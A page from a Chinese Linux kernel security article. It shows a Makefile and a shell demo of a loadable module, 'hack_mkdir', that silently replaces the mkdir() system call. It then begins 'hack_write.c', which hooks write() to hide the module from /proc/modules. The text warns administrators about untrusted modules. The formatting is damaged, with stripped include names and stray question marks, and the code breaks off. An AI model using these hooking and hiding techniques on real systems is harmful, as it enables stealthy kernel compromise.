打印本文 打印本文 关闭窗口 关闭窗口
Linux 内核安全
作者:武汉SEO闵涛  文章来源:敏韬网  点击数2779  更新时间:2009/4/22 23:07:36  文章录入:mintao  责任编辑:mintao
r own system

KERNELDIR=/usr/src/linux-2.4

?

CFLAGS=-D__KERNEL__ -DMODULE -I$(KERNELDIR)/include \

-O -Wall

?

include $(KERNELDIR)/configs/kernel-2.4.18-i686.config

?

ifdef CONFIG_SMP

?? CFLAGS+=-D__SMP__ -DSMP

endif

?

all: hack_mkdir.o

?

clean:

?? rm -f *.o *~ core

不要忘记rm前有个Tab键。好了,在终端下敲入make,你会发现当前文件夹下多了个文件hack_mkdir.o,这就是编译好的模块。

#/sbin/insmod hack_mkdir.o

warnning:it will taint the kernel.

#mkdir test

#ls

hack_mkdir.c ?hack_mkdir.o? Makefile

你会发现test文件夹根本就没有建立,而可怕的是系统根本就没有任何出错信息!原因很简单,因为实际的mkdir( )已经被替换成了hacked_mkdir( ),而且的它返回值是0,系统误以为它正确地建立了文件夹。

#/sbin/rmmod hack_mkdir

#mkdir test

#ls

hack_mkdir.c? hack_mkdir.o? Makefile? test

移除模块后,原有的mkdir( )系统调用得以复位,因而系统正确地建立了文件夹test。

由此我们可以看到Kernel Hacking的威力!如果一个系统的内核被入侵,其后果是相当严重的。“正如运输界有泰坦尼克等事故一样,计算机安全专家往往也容易忽略某些细节(Andrew S. Tanenbaum)。”而LKM由于其极强的隐蔽性和强大的功能,备受Linux Kernel Hackers的喜爱。所以,系统管理员绝对不能轻易地将网络上下载的模块插入到内核,因为这样做无疑等于给了入侵者root权限。在系统安全性极其重要的情况下,我们应该只相信源代码,自己手工将经过检查的源代码编译为模块。

事实上,上面的模块除了用于演示之外,基本没有任何实际用途,因为几乎任何系统管理员都可以发现这个mkdir( )异常,并且找出错误的根源。只要他/她输入/sbin/lsmod命令,就会得到如下输出:

hack_mkdir??? 8192??? 0(unused)

因而系统管理员就会知道是hack_mkdir模块搞的鬼,因而他/她可以跟踪其来源,并排除系统漏洞。

下面,我们将隐藏文件中的特定内容,比如/proc/modules中的“hack_mkdir”。首先,我们应该知道/sbin/lsmod其实就是输出了/proc/modules中的内容,此外,输出文件中的内容需要write( )系统调用,如果您不知道某个command进行了哪些系统调用,没关系,我们可以用strace系统程式来跟踪command运行时进行的系统调用。

比如,向终端写字符串“this is a test”。

?

#strace echo “this is a test”

… …

write (1, "this is a test\n", 15)?????? ?= 15

munmap (0x40056000, 4096)??????????????? ??= 0

_exit (0)?????????????????????????????? ??????= ?

?

由此可以看出向终端写字符串“this is a test”调用了write( ),其中1代表stdout,返回值15是字符串的长度。

/*

*hack_write.c???????????????? David???? 2003-4-19

*The modules shows how to hack system call write ( ) in order *that we can hide the special message in the file.

*/

?

#include

#include

#include

#include ??? /*for kmalloc() & kfree() */

#include /*for strncpy_from_user() */

#include

#include

?

extern void* sys_call_table[];

extern void kfree(const void *);

extern

上一页  [1] [2] [3] [4]  下一页

打印本文 打印本文 关闭窗口 关闭窗口